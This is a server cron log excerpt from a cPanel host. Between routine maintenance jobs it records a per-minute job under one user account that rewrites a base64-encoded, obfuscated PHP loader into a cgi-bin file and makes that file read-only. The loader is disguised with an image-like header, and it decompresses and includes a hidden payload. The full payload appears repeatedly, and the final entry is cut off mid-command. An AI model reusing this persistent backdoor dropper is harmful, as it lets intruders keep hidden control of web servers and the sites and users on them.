Sep  1 03:25:01 server CROND[30611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:25:01 server CROND[30612]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:25:01 server CROND[30614]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:25:01 server CROND[30617]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 03:25:01 server CROND[30613]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 03:26:01 server CROND[31439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:26:01 server CROND[31438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:26:01 server CROND[31440]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:27:02 server CROND[31908]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Sep  1 03:27:02 server CROND[31912]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 03:27:02 server CROND[31913]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:27:02 server CROND[31911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:27:02 server CROND[31914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:28:01 server CROND[32305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:28:01 server CROND[32307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:28:01 server CROND[32306]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:29:01 server CROND[32699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:29:01 server CROND[32700]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:29:01 server CROND[32701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:30:01 server CROND[657]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 03:30:01 server CROND[658]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 03:30:01 server CROND[661]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 03:30:01 server CROND[662]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 03:30:01 server CROND[669]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:30:01 server CROND[671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:30:01 server CROND[668]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 03:30:01 server CROND[667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:31:01 server CROND[1602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:31:01 server CROND[1603]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:31:01 server CROND[1604]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:32:01 server CROND[2108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:32:01 server CROND[2110]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:32:01 server CROND[2111]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:33:01 server CROND[2544]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:33:01 server CROND[2545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:33:01 server CROND[2546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:34:01 server CROND[2951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:34:01 server CROND[2952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:34:01 server CROND[2953]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:35:01 server CROND[3335]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 03:35:01 server CROND[3336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:35:01 server CROND[3340]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 03:35:01 server CROND[3342]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 03:35:01 server CROND[3348]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:35:01 server CROND[3346]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 03:35:01 server CROND[3347]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 03:35:01 server CROND[3345]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 03:35:01 server CROND[3344]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:36:01 server CROND[4196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:36:01 server CROND[4197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; 